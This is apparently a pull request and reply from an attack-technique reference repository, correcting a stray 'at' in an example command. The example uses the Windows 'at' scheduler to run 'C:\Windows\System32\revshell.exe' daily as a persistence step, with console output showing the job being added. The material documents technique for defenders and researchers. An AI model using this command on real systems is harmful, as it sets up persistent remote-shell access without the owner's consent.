Remove unnecessary "at" on command

[b1scoito]

Removes unnecessary "at" on the command line that breaks the execution of the command itself.

With:

PS C:\Windows\system32 at at 09:00 /interactive /every:m,t,w,th,f,s,su C:\Windows\System32\revshell.exe
The AT command has been deprecated. Please use schtasks.exe instead.

Invalid command.

Without:

PS C:\Windows\system32> at 09:00 /interactive /every:m,t,w,th,f,s,su C:\Windows\System32\revshell.exe
The AT command has been deprecated. Please use schtasks.exe instead.

Warning: Due to security enhancements, this task will run at the time
expected but not interactively.
Use schtasks.exe utility if interactive task is required ('schtasks /?'
for details).
Added a new job with job ID = 1

[wietze]

Good spot, thank you!